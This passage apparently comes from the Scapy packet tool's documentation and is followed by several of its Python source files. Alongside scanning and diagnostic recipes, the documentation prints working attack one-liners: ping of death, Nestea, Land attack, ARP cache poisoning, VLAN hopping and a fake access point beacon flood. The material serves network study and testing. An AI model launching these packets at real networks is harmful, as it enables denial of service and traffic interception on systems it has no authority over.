>>> res.graph() # piped to ImageMagick's display program. Image below. >>> res.graph(type="ps",target="| lp") # piped to postscript printer >>> res.graph(target="> /tmp/graph.svg") # saved to file .. image:: graphics/graph_traceroute.png .. note:: VPython is currently not ported to python3.x. If you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it's IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed:: >>> res.trace3D() .. image:: graphics/trace3d_1.png .. image:: graphics/trace3d_2.png Wireless frame injection ------------------------ .. index:: single: FakeAP, Dot11, wireless, WLAN Provided that your wireless card and driver are correctly configured for frame injection :: $ iw dev wlan0 interface add mon0 type monitor $ ifconfig mon0 up you can have a kind of FakeAP:: >>> sendp(RadioTap()/ Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2="00:01:02:03:04:05", addr3="00:01:02:03:04:05")/ Dot11Beacon(cap="ESS", timestamp=1)/ Dot11Elt(ID="SSID", info=RandString(RandNum(1,50)))/ Dot11Elt(ID="Rates", info='\x82\x84\x0b\x16')/ Dot11Elt(ID="DSset", info="\x03")/ Dot11Elt(ID="TIM", info="\x00\x01\x00\x00"), iface="mon0", loop=1) Depending on the driver, the commands needed to get a working frame injection interface may vary. You may also have to replace the first pseudo-layer (in the example ``RadioTap()``) by ``PrismHeader()``, or by a proprietary pseudo-layer, or even to remove it. Simple one-liners ================= ACK Scan -------- Using Scapy's powerful packet crafting facilities we can quick replicate classic TCP Scans. For example, the following string will be sent to simulate an ACK Scan:: >>> ans,unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A")) We can find unfiltered ports in answered packets:: >>> for s,r in ans: ... if s[TCP].dport == r[TCP].sport: ... print(str(s[TCP].dport) + " is unfiltered") Similarly, filtered ports can be found with unanswered packets:: >>> for s in unans: ... print(str(s[TCP].dport) + " is filtered") Xmas Scan --------- Xmas Scan can be launced using the following command:: >>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") ) Checking RST responses will reveal closed ports on the target. IP Scan ------- A lower level IP Scan can be used to enumerate supported protocols:: >>> ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2) ARP Ping -------- The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method:: >>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2) Answers can be reviewed with the following command:: >>> ans.summary(lambda s,r: r.sprintf("%Ether.src% %ARP.psrc%")) Scapy also includes a built-in arping() function which performs similar to the above two commands: >>> arping("192.168.1.*") ICMP Ping --------- Classical ICMP Ping can be emulated using the following command:: >>> ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP()) Information on live hosts can be collected with the following request:: >>> ans.summary(lambda s,r: r.sprintf("%IP.src% is alive")) TCP Ping -------- In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below:: >>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") ) Any response to our probes will indicate a live host. We can collect results with the following command:: >>> ans.summary(lambda s,r : r.sprintf("%IP.src% is alive")) UDP Ping -------- If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0:: >>> ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) ) Once again, results can be collected with this command: >>> ans.summary(lambda s,r : r.sprintf("%IP.src% is alive")) Classical attacks ----------------- Malformed packets:: >>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP()) Ping of death (Muuahahah):: >>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) ) `Nestea `_ `attack `_ :: >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10)) >>> send(IP(dst=target, id=42, frag=48)/("X"*116)) >>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224)) Land attack (designed for Microsoft Windows):: >>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135)) ARP cache poisoning ------------------- This attack prevents a client from joining the gateway by poisoning its ARP cache through a VLAN hopping attack. Classic ARP cache poisoning:: >>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1 ) ARP cache poisoning with double 802.1q encapsulation:: >>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) /ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1 ) TCP Port Scanning ----------------- Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error:: >>> res,unans = sr( IP(dst="target") /TCP(flags="S", dport=(1,1024)) ) Possible result visualization: open ports :: >>> res.nsummary(lfilter=lambda s,r: (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2))) IKE Scanning ------------ We try to identify VPN concentrators by sending ISAKMP Security Association proposals and receiving the answers:: >>> res,unans = sr( IP(dst="192.168.1.*")/UDP() /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.") /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) ) Visualizing the results in a list:: >>> res.nsummary(prn = lambda s,r: r.src, lfilter = lambda s,r: r.haslayer(ISAKMP)) Advanced traceroute ------------------- TCP SYN traceroute ^^^^^^^^^^^^^^^^^^ :: >>> ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S")) Results would be:: >>> ans.summary(lambda s,r: r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}")) 192.168.1.1 time-exceeded 68.86.90.162 time-exceeded 4.79.43.134 time-exceeded 4.79.43.133 time-exceeded 4.68.18.126 time-exceeded 4.68.123.38 time-exceeded 4.2.2.1 SA UDP traceroute ^^^^^^^^^^^^^^ Tracerouting an UDP application like we do with TCP is not reliable, because there's no handshake. We need to give an applicative payload (DNS, ISAKMP, NTP, etc.) to deserve an answer:: >>> res,unans = sr(IP(dst="target", ttl=(1,20)) /UDP()/DNS(qd=DNSQR(qname="test.com")) We can visualize the results as a list of routers:: >>> res.make_table(lambda s,r: (s.dst, s.ttl, r.src)) DNS traceroute ^^^^^^^^^^^^^^ We can perform a DNS traceroute by specifying a complete packet in ``l4`` parameter of ``traceroute()`` function:: >>> ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org"))) Begin emission: ..*....******...******.***...****Finished to send 30 packets. *****...***............................... Received 75 packets, got 28 answers, remaining 2 packets 4.2.2.1:udp53 1 192.168.1.1 11 4 68.86.90.162 11 5 4.79.43.134 11 6 4.79.43.133 11 7 4.68.18.62 11 8 4.68.123.6 11 9 4.2.2.1 ... Etherleaking ------------ :: >>> sr1(IP(dst="172.16.1.232")/ICMP()) >> ICMP leaking ------------ This was a Linux 2.0 bug:: >>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP()) >>>> VLAN hopping ------------ In very specific conditions, a double 802.1q encapsulation will make a packet jump to another VLAN:: >>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP()) Wireless sniffing ----------------- The following command will display information similar to most wireless sniffers:: >>> sniff(iface = "ath0", prn = lambda x: x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}")) The above command will produce output similar to the one below:: 00:00:00:01:02:03 netgear 6L ESS+privacy+PBCC 11:22:33:44:55:66 wireless_100 6L short-slot+ESS+privacy 44:55:66:00:11:22 linksys 6L short-slot+ESS+privacy 12:34:56:78:90:12 NETGEAR 6L short-slot+ESS+privacy+short-preamble Recipes ======= Simplistic ARP Monitor ---------------------- This program uses the ``sniff()`` callback (paramter prn). The store parameter is set to 0 so that the ``sniff()`` function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic. :: #! /usr/bin/env python from scapy.all import * def arp_monitor_callback(pkt): if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") sniff(prn=arp_monitor_callback, filter="arp", store=0) Identifying rogue DHCP servers on your LAN ------------------------------------------- .. index:: single: DHCP Problem ^^^^^^^ You suspect that someone has installed an additional, unauthorized DHCP server on your LAN -- either unintentiously or maliciously. Thus you want to check for any active DHCP servers and identify their IP and MAC addresses. Solution ^^^^^^^^ Use Scapy to send a DHCP discover request and analyze the replies:: >>> conf.checkIPaddr = False >>> hw = get_if_raw_hwaddr(conf.iface) >>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"]) >>> ans, unans = srp(dhcp_discover, multi=True) # Press CTRL-C after several seconds Begin emission: Finished to send 1 packets. .*...*.. Received 8 packets, got 2 answers, remaining 0 packets In this case we got 2 replies, so there were two active DHCP servers on the test network:: >>> ans.summarize() Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP }}} We are only interested in the MAC and IP addresses of the replies: {{{ >>> for p in ans: print(p[1][Ether].src, p[1][IP].src) ... 00:de:ad:be:ef:00 192.168.1.1 00:11:11:22:22:33 192.168.1.11 Discussion ^^^^^^^^^^ We specify ``multi=True`` to make Scapy wait for more answer packets after the first response is received. This is also the reason why we can't use the more convenient ``dhcp_request()`` function and have to construct the DCHP packet manually: ``dhcp_request()`` uses ``srp1()`` for sending and receiving and thus would immediately return after the first answer packet. Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don't match, we have to disable Scapy's check with ``conf.checkIPaddr = False`` before sending the stimulus. See also ^^^^^^^^ http://en.wikipedia.org/wiki/Rogue_DHCP Firewalking ----------- TTL decrementation after a filtering operation only not filtered packets generate an ICMP TTL exceeded >>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024))) >>> for s,r in ans: if r.haslayer(ICMP) and r.payload.type == 11: print(s.dport ) Find subnets on a multi-NIC firewall only his own NIC’s IP are reachable with this TTL:: >>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP()) >>> for i in unans: print(i.dst) TCP Timestamp Filtering ------------------------ Problem ^^^^^^^ Many firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners. Solution ^^^^^^^^ To allow Scapy to reach target destination additional options must be used:: >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))])) Viewing packets with Wireshark ------------------------------ .. index:: single: wireshark() Problem ^^^^^^^ You have generated or sniffed some packets with Scapy and want to view them with `Wireshark `_, because of its advanced packet dissection abilities. Solution ^^^^^^^^ That's what the ``wireshark()`` function is for: >>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP() # first generate some packets >>> wireshark(packets) # show them with Wireshark Wireshark will start in the background and show your packets. Discussion ^^^^^^^^^^ The ``wireshark()`` function generates a temporary pcap-file containing your packets, starts Wireshark in the background and makes it read the file on startup. Please remember that Wireshark works with Layer 2 packets (usually called "frames"). So we had to add an ``Ether()`` header to our ICMP packets. Passing just IP packets (layer 3) to Wireshark will give strange results. You can tell Scapy where to find the Wireshark executable by changing the ``conf.prog.wireshark`` configuration setting. OS Fingerprinting ----------------- ISN ^^^ Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop:: >>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S")) Once we obtain a reasonable number of responses we can start analyzing collected data with something like this: >>> temp = 0 >>> for s,r in ans: ... temp = r[TCP].seq - temp ... print(str(r[TCP].seq) + "\t+" + str(temp)) ... 4278709328 +4275758673 4279655607 +3896934 4280642461 +4276745527 4281648240 +4902713 4282645099 +4277742386 4283643696 +5901310 nmap_fp ^^^^^^^ Nmap fingerprinting (the old "1st generation" one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first:: >>> load_module("nmap") If you have Nmap installed you can use it's active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by:: >>> conf.nmap_base Then you can use the ``nmap_fp()`` function which implements same probes as in Nmap's OS Detection engine:: >>> nmap_fp("192.168.1.1",oport=443,cport=1) Begin emission: .****..**Finished to send 8 packets. *................................................ Received 58 packets, got 7 answers, remaining 1 packets (1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch', 'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86) w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11']) p0f ^^^ If you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by:: >>> conf.p0f_base For example to guess OS from a single captured packet: >>> sniff(prn=prnp0f) 192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs) -> 74.125.19.104:www (distance 0) scapy-0.23/run_scapy000077500000000000000000000001131320561231000144720ustar00rootroot00000000000000#! /bin/sh DIR=$(dirname $0) PYTHONPATH=$DIR exec python -m scapy.__init__ scapy-0.23/run_scapy.bat000066400000000000000000000000731320561231000152410ustar00rootroot00000000000000@echo off set PYTHONPATH=%cd% python -m scapy.__init__ scapy-0.23/scapy/000077500000000000000000000000001320561231000136655ustar00rootroot00000000000000scapy-0.23/scapy/__init__.py000066400000000000000000000007121320561231000157760ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Scapy: create, send, sniff, dissect and manipulate network packets. Usable either from an interactive console or as a Python library. http://www.secdev.org/projects/scapy """ if __name__ == "__main__": from scapy.main import interact interact() scapy-0.23/scapy/all.py000066400000000000000000000020001320561231000147770ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Aggregate top level objects from all Scapy modules. """ from .config import * from .base_classes import * from .dadict import * from .data import * from .error import * from .themes import * from .arch import * from .plist import * from .fields import * from .packet import * from .asn1fields import * from .asn1packet import * from .utils import * from .route import * if conf.ipv6_enabled: from .utils6 import * from .route6 import * from .sendrecv import * from .supersocket import * from .volatile import * from .as_resolvers import * from .ansmachine import * from .automaton import * from .autorun import * from .main import * from .layers.all import * from .asn1.asn1 import * from .asn1.ber import * from .asn1.mib import * from .crypto import * from .pipetool import * from .scapypipes import * scapy-0.23/scapy/ansmachine.py000066400000000000000000000076441320561231000163600ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Answering machines. """ ######################## ## Answering machines ## ######################## from .sendrecv import send,sendp,sniff from .config import conf from .error import log_interactive class ReferenceAM(type): def __new__(cls, name, bases, dct): o = super(ReferenceAM, cls).__new__(cls, name, bases, dct) if o.function_name: globals()[o.function_name] = lambda o=o,*args,**kargs: o(*args,**kargs)() return o class AnsweringMachine(object): __metaclass__ = ReferenceAM function_name = "" filter = None sniff_options = { "store":0 } sniff_options_list = [ "store", "iface", "count", "promisc", "filter", "type", "prn", "stop_filter" ] send_options = { "verbose":0 } send_options_list = ["iface", "inter", "loop", "verbose"] send_function = staticmethod(send) def __init__(self, **kargs): self.mode = 0 if self.filter: kargs.setdefault("filter",self.filter) kargs.setdefault("prn", self.reply) self.optam1 = {} self.optam2 = {} self.optam0 = {} doptsend,doptsniff = self.parse_all_options(1, kargs) self.defoptsend = self.send_options.copy() self.defoptsend.update(doptsend) self.defoptsniff = self.sniff_options.copy() self.defoptsniff.update(doptsniff) self.optsend,self.optsniff = [{},{}] def __getattr__(self, attr): for d in [self.optam2, self.optam1]: if attr in d: return d[attr] raise AttributeError(attr) def __setattr__(self, attr, val): mode = self.__dict__.get("mode",0) if mode == 0: self.__dict__[attr] = val else: [self.optam1, self.optam2][mode-1][attr] = val def parse_options(self): pass def parse_all_options(self, mode, kargs): sniffopt = {} sendopt = {} for k in list(kargs): if k in self.sniff_options_list: sniffopt[k] = kargs[k] if k in self.send_options_list: sendopt[k] = kargs[k] if k in self.sniff_options_list+self.send_options_list: del(kargs[k]) if mode != 2 or kargs: if mode == 1: self.optam0 = kargs elif mode == 2 and kargs: k = self.optam0.copy() k.update(kargs) self.parse_options(**k) kargs = k omode = self.__dict__.get("mode",0) self.__dict__["mode"] = mode self.parse_options(**kargs) self.__dict__["mode"] = omode return sendopt,sniffopt def is_request(self, req): return 1 def make_reply(self, req): return req def send_reply(self, reply): self.send_function(reply, **self.optsend) def print_reply(self, req, reply): print("%s ==> %s" % (req.summary(),reply.summary())) def reply(self, pkt): if not self.is_request(pkt): return reply = self.make_reply(pkt) self.send_reply(reply) if conf.verb >= 0: self.print_reply(pkt, reply) def run(self, *args, **kargs): log_interactive.warning("run() method deprecated. The instance is now callable") self(*args,**kargs) def __call__(self, *args, **kargs): optsend,optsniff = self.parse_all_options(2,kargs) self.optsend=self.defoptsend.copy() self.optsend.update(optsend) self.optsniff=self.defoptsniff.copy() self.optsniff.update(optsniff) try: self.sniff() except KeyboardInterrupt: print("Interrupted by user") def sniff(self): sniff(**self.optsniff) scapy-0.23/scapy/arch/000077500000000000000000000000001320561231000146025ustar00rootroot00000000000000scapy-0.23/scapy/arch/__init__.py000066400000000000000000000061201320561231000167120ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Operating system specific functionality. """ import sys,os,socket from scapy.error import * import scapy.config try: import matplotlib.pyplot as plt MATPLOTLIB = True if scapy.config.conf.interactive: plt.ion() except ImportError: log_loading.debug("Can't import matplotlib. Not critical, but won't be able to plot.") MATPLOTLIB = False try: import networkx as nx NETWORKX = True except ImportError: log_loading.debug("Can't import networkx. Not criticial, but won't be able to draw network graphs.") NETWORKX = False try: import pyx PYX=1 except ImportError: log_loading.debug("Can't import PyX. Won't be able to use psdump() or pdfdump().") PYX=0 if scapy.config.conf.use_netifaces: try: import netifaces except ImportError as e: log_loading.warning("Could not load module netifaces: %s" % e) scapy.config.conf.use_netifaces = False def str2mac(s): #return ("%02x:"*6)[:-1] % tuple(map(ord, s)) return ("%02x:"*6)[:-1] % tuple(s) def get_if_addr(iff): return socket.inet_ntoa(get_if_raw_addr(iff)) def get_if_hwaddr(iff): mac = get_if_raw_hwaddr(iff) return str2mac(mac) LINUX=sys.platform.startswith("linux") OPENBSD=sys.platform.startswith("openbsd") FREEBSD=sys.platform.startswith("freebsd") NETBSD = sys.platform.startswith("netbsd") DARWIN=sys.platform.startswith("darwin") SOLARIS=sys.platform.startswith("sunos") WINDOWS=sys.platform.startswith("win32") X86_64 = not WINDOWS and (os.uname()[4] == 'x86_64') if WINDOWS: pass # log_loading.warning("Windows support for scapy3k is currently in testing. Sniffing/sending/receiving packets should be working with WinPcap driver and Powershell. Create issues at https://github.com/phaethon/scapy") # Next step is to import following architecture specific functions: # def get_if_raw_hwaddr(iff) # def get_if_raw_addr(iff): # def get_if_list(): # def get_working_if(): # def attach_filter(s, bpf_filter, iface): # def set_promisc(s,iff,val=1): # def read_routes(): # def get_if(iff,cmd): # def get_if_index(iff): if LINUX: from .linux import * if scapy.config.conf.use_winpcapy or scapy.config.conf.use_netifaces: from .pcapdnet import * elif OPENBSD or FREEBSD or NETBSD or DARWIN: from .bsd import * elif SOLARIS: from .solaris import * elif WINDOWS: from .windows import * if scapy.config.conf.iface is None: scapy.config.conf.iface = LOOPBACK_NAME def get_if_raw_addr6(iff): """ Returns the main global unicast address associated with provided interface, in network format. If no global address is found, None is returned. """ #r = filter(lambda x: x[2] == iff and x[1] == IPV6_ADDR_GLOBAL, in6_getifaddr()) r = [ x for x in in6_getifaddr() if x[2] == iff and x[1] == IPV6_ADDR_GLOBAL] if len(r) == 0: return None else: r = r[0][0] return inet_pton(socket.AF_INET6, r) scapy-0.23/scapy/arch/bsd.py000066400000000000000000000005071320561231000157260ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Support for BSD-like operating systems such as FreeBSD, OpenBSD and Mac OS X. """ LOOPBACK_NAME="lo0" from .unix import * scapy-0.23/scapy/arch/cdnet.py000066400000000000000000000147241320561231000162610ustar00rootroot00000000000000from ctypes import * from ctypes.util import find_library import sys WIN=False if sys.platform.startswith('win'): WIN=True if WIN: SOCKET = c_uint _lib=CDLL('dnet') else: SOCKET = c_int _lib_name = find_library('dnet') if not _lib_name: raise OSError("Cannot find libdnet.so") _lib=CDLL(_lib_name) ETH_ADDR_LEN = 6 INTF_NAME_LEN = 16 INTF_NAME_COUNT = 20 INTF_ALIAS_COUNT = 20 IP6_ADDR_LEN = 16 ADDR_TYPE_NONE = 0 ADDR_TYPE_ETH = 1 ADDR_TYPE_IP = 2 ADDR_TYPE_IP6 = 3 INTF_TYPE_OTHER = 1 INTF_TYPE_ETH = 6 INTF_TYPE_TOKENRING = 9 INTF_TYPE_FDDI = 15 INTF_TYPE_PPP = 23 INTF_TYPE_LOOPBACK = 24 INTF_TYPE_SLIP = 28 INTF_TYPE_TUN = 53 uint8_t = c_ubyte uint16_t = c_ushort uint32_t = c_uint ssize_t = c_long dnet_ip_addr_t = uint32_t dnet_intf_name = c_char * INTF_NAME_LEN class dnet_intf_list(Structure): pass dnet_intf_list._fields_ = [ ('length', c_int), ('interfaces', dnet_intf_name * 20) ] class dnet_eth_addr(Structure): pass dnet_eth_addr._fields_ = [ ('data', uint8_t * ETH_ADDR_LEN) ] dnet_eth_addr_t = dnet_eth_addr class dnet_ip6_addr(Structure): pass dnet_ip6_addr._fields_ = [ ('data', uint8_t * IP6_ADDR_LEN) ] dnet_ip6_addr_t = dnet_ip6_addr class dnet_addr_u(Union): pass dnet_addr_u._fields_ = [ ('eth', dnet_eth_addr_t), ('ip', dnet_ip_addr_t), ('ip6', dnet_ip6_addr_t), ('data8', uint8_t * 16), ('data16', uint16_t * 8), ('data32', uint32_t * 4) ] class dnet_addr(Structure): pass dnet_addr._anonymous_ = ('__addr_u', ) dnet_addr._fields_ = [ ('addr_type', uint16_t), ('addr_bits', uint16_t), ('__addr_u', dnet_addr_u) ] class dnet_intf_entry(Structure): pass dnet_intf_entry._fields_ = [ ('intf_len', c_uint), ('intf_name', c_char * INTF_NAME_LEN), ('intf_type', c_ushort), ('intf_flags', c_ushort), ('intf_mtu', c_uint), ('intf_addr', dnet_addr), ('intf_dst_addr', dnet_addr), ('intf_link_addr', dnet_addr), ('intf_alias_num', c_uint), ('intf_alias_addrs', dnet_addr * INTF_ALIAS_COUNT) ] eth_t = c_void_p intf_t = c_void_p ip_t = c_void_p dnet_intf_handler = CFUNCTYPE(c_int, POINTER(dnet_intf_entry), POINTER(c_void_p)) dnet_eth_open = _lib.eth_open dnet_eth_open.restype = POINTER(eth_t) dnet_eth_open.argtypes = [ POINTER(c_char) ] dnet_eth_get = _lib.eth_get dnet_eth_get.restype = c_int dnet_eth_get.argtypes = [ POINTER(eth_t), POINTER(dnet_eth_addr_t) ] dnet_eth_set = _lib.eth_set dnet_eth_set.restype = c_int dnet_eth_set.argtypes = [ POINTER(eth_t), POINTER(dnet_eth_addr_t) ] dnet_eth_send = _lib.eth_send dnet_eth_send.restype = ssize_t dnet_eth_send.argtypes = [ POINTER(eth_t), c_void_p, c_size_t ] dnet_eth_close = _lib.eth_close dnet_eth_close.restype = POINTER(eth_t) dnet_eth_close.argtypes = [ POINTER(eth_t) ] dnet_intf_open = _lib.intf_open dnet_intf_open.restype = POINTER(intf_t) dnet_intf_open.argtypes = [ ] dnet_intf_get = _lib.intf_get dnet_intf_get.restype = c_int dnet_intf_get.argtypes = [ POINTER(intf_t), POINTER(dnet_intf_entry) ] dnet_intf_get_src = _lib.intf_get_src dnet_intf_get_src.restype = c_int dnet_intf_get_src.argtypes = [ POINTER(intf_t), POINTER(dnet_intf_entry), POINTER(dnet_addr) ] dnet_intf_get_dst = _lib.intf_get_dst dnet_intf_get_dst.restype = c_int dnet_intf_get_dst.argtypes = [ POINTER(intf_t), POINTER(dnet_intf_entry), POINTER(dnet_addr) ] dnet_intf_set = _lib.intf_set dnet_intf_set.restype = c_int dnet_intf_set.argtypes = [ POINTER(intf_t), POINTER(dnet_intf_entry) ] dnet_intf_loop = _lib.intf_loop dnet_intf_loop.restype = POINTER(intf_t) dnet_intf_loop.argtypes = [ POINTER(intf_t), dnet_intf_handler, c_void_p ] dnet_intf_close = _lib.intf_close dnet_intf_close.restype = POINTER(intf_t) dnet_intf_close.argtypes = [ POINTER(intf_t) ] dnet_ip_open = _lib.ip_open dnet_ip_open.restype = POINTER(ip_t) dnet_ip_open.argtypes = [ ] dnet_ip_add_option = _lib.ip_add_option dnet_ip_add_option.restype = ssize_t dnet_ip_add_option.argtypes = [ POINTER(c_void_p), c_size_t, c_int, POINTER(c_void_p), c_size_t ] dnet_ip_checksum = _lib.ip_checksum dnet_ip_checksum.restype = None dnet_ip_checksum.argtypes = [ POINTER(c_void_p), c_size_t ] dnet_ip_send = _lib.ip_send dnet_ip_send.restype = ssize_t dnet_ip_send.argtypes = [ POINTER(ip_t), c_void_p, c_size_t ] dnet_ip_close = _lib.ip_close dnet_ip_close.restype = POINTER(ip_t) dnet_ip_close.argtypes = [ POINTER(ip_t) ] class dnet_eth: def __init__(self, iface): self.iface_b = create_string_buffer(iface.encode('ascii')) self.eth = dnet_eth_open(self.iface_b) def send(self, sx): dnet_eth_send(self.eth, sx, len(sx)) def close(self): return dnet_eth_close(self.eth) class dnet_ip: def __init__(self): self.ip = dnet_ip_open() def send(self, sx): dnet_ip_send(self.ip, sx, len(sx)) def close(self): return dnet_ip_close(self.ip) def dnet_intf_name_loop(entry, intf_list): l = cast(intf_list, POINTER(dnet_intf_list)) if l.contents.length >= INTF_NAME_COUNT: return -1 for i in enumerate(entry.contents.intf_name): l.contents.interfaces[l.contents.length][i[0]] = i[1] l.contents.length += 1 return 0 class dnet_intf: def __init__(self): self.intf = dnet_intf_open() intf_list = dnet_intf_list() intf_list.length = 0 dnet_intf_loop(self.intf, dnet_intf_handler(dnet_intf_name_loop), pointer(intf_list)) self.names = [] for i in range(INTF_NAME_COUNT): if i >= intf_list.length: break self.names.append(intf_list.interfaces[i].value.decode('ascii').strip('\0')) def close(self): return dnet_intf_close(self.intf) def get(self, iface): ret = {} entry = dnet_intf_entry() entry.intf_name = iface.encode('ascii') entry.intf_len = sizeof(entry) r = dnet_intf_get(self.intf, byref(entry)) if r < 0: return {} ret['addr6'] = [] for i in range(entry.intf_alias_num): if entry.intf_alias_addrs[i].addr_type == ADDR_TYPE_IP6: ret['addr6'].append(bytes(entry.intf_alias_addrs[i].data8[:16])) ret['type'] = entry.intf_type ret['addr'] = bytes(entry.intf_addr.data8[:4]) ret['link_addr'] = bytes(entry.intf_link_addr.data8[:6]) return ret scapy-0.23/scapy/arch/linux.py000066400000000000000000000416711320561231000163240ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Linux specific functions. """ import sys,os,struct,socket,time,ctypes from select import select from fcntl import ioctl import scapy.utils import scapy.utils6 from scapy.config import conf from scapy.data import * from scapy.supersocket import SuperSocket import scapy.arch from scapy.error import warning, Scapy_Exception # From bits/ioctls.h SIOCGIFHWADDR = 0x8927 # Get hardware address SIOCGIFADDR = 0x8915 # get PA address SIOCGIFNETMASK = 0x891b # get network PA mask SIOCGIFNAME = 0x8910 # get iface name SIOCSIFLINK = 0x8911 # set iface channel SIOCGIFCONF = 0x8912 # get iface list SIOCGIFFLAGS = 0x8913 # get flags SIOCSIFFLAGS = 0x8914 # set flags SIOCGIFINDEX = 0x8933 # name -> if_index mapping SIOCGIFCOUNT = 0x8938 # get number of devices SIOCGSTAMP = 0x8906 # get packet timestamp (as a timeval) # From if.h IFF_UP = 0x1 # Interface is up. IFF_BROADCAST = 0x2 # Broadcast address valid. IFF_DEBUG = 0x4 # Turn on debugging. IFF_LOOPBACK = 0x8 # Is a loopback net. IFF_POINTOPOINT = 0x10 # Interface is point-to-point link. IFF_NOTRAILERS = 0x20 # Avoid use of trailers. IFF_RUNNING = 0x40 # Resources allocated. IFF_NOARP = 0x80 # No address resolution protocol. IFF_PROMISC = 0x100 # Receive all packets. # From netpacket/packet.h PACKET_ADD_MEMBERSHIP = 1 PACKET_DROP_MEMBERSHIP = 2 PACKET_RECV_OUTPUT = 3 PACKET_RX_RING = 5 PACKET_STATISTICS = 6 PACKET_MR_MULTICAST = 0 PACKET_MR_PROMISC = 1 PACKET_MR_ALLMULTI = 2 # From bits/socket.h SOL_PACKET = 263 # From asm/socket.h SO_ATTACH_FILTER = 26 SOL_SOCKET = 1 # From net/route.h RTF_UP = 0x0001 # Route usable RTF_REJECT = 0x0200 # From pcap/pcap.h PCAP_ERRBUF_SIZE=256 LOOPBACK_NAME="lo" with 